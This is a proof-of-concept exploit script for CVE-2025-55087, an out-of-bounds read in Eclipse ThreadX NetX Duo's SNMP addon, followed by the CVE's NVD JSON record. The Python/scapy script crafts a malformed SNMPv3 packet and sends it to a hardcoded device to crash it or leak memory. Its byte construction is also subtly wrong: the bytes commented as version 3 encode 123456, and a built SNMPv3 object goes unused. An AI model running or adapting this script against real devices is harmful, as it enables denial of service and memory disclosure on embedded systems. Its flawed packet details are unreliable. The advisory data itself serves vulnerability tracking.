CVE-2025-55087

# CVE-2025-55087 - Eclipse ThreadX NetX Duo SNMP Out-of-Bounds Read PoC # This PoC demonstrates how to craft a malicious SNMPv3 packet with # malformed security parameters to trigger an out-of-bounds read. from scapy.all import * from scapy.layers.snmp import SNMP, SNMPv3 import struct TARGET_IP = "192.168.1.100" TARGET_PORT = 161 # Build a malicious SNMPv3 packet with crafted security parameters # The vulnerability is triggered when parsing msgSecurityParameters # with an abnormally large or malformed length field. # Crafted security parameters with oversized length to trigger OOB read malicious_sec_params = b'\x04\x0a' + b'\x01' * 10 # OCTET STRING with suspicious length malicious_sec_params += b'\x04\xff\xff' # OCTET STRING with oversized length (0xFFFF) malicious_sec_params += b'\x41' * 100 # Padding data to extend beyond buffer # Build SNMPv3 message with crafted parameters snmpv3_pkt = SNMPv3( id=123456, msgMaxSize=65535, msgFlags=b'\x03', # auth + priv flags msgSecurityModel=3 # USM ) # Construct raw SNMPv3 packet with malicious security parameters raw_pkt = b'\x30\x82\x01\x00' # SEQUENCE raw_pkt += b'\x02\x04\x00\x01\xe2\x40' # msgVersion: SNMPv3 (integer 3) raw_pkt += b'\x04\x82\x00\x80' # msgGlobalData raw_pkt += b'\x30\x82\x00\x80' # msgSecurityParameters raw_pkt += malicious_sec_params # Send the crafted packet to trigger the vulnerability send(IP(dst=TARGET_IP)/UDP(dport=TARGET_PORT)/Raw(load=raw_pkt)) print(f"[*] Malicious SNMPv3 packet sent to {TARGET_IP}:{TARGET_PORT}") print("[*] Check if target device crashes or leaks memory")

{"cve": {"id": "CVE-2025-55087", "sourceIdentifier": "[email protected]", "published": "2025-10-17T06:15:34.753", "lastModified": "2025-10-24T20:24:27.667", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In NextX Duo's snmp addon versions before 6.4.4, a part of the Eclipse Foundation ThreadX, an attacker could cause an out-of-bound read by a crafted SNMPv3 security parameters."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-1285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eclipse:threadx_netx_duo:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.4.4.202503", "matchCriteriaId": "24743F34-C00F-4CB2-BCEE-2BB29FA265CB"}]}]}], "references": [{"url": "https://github.com/eclipse-threadx/netxduo/security/advisories/GHSA-v474-mv4g-v8cx", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}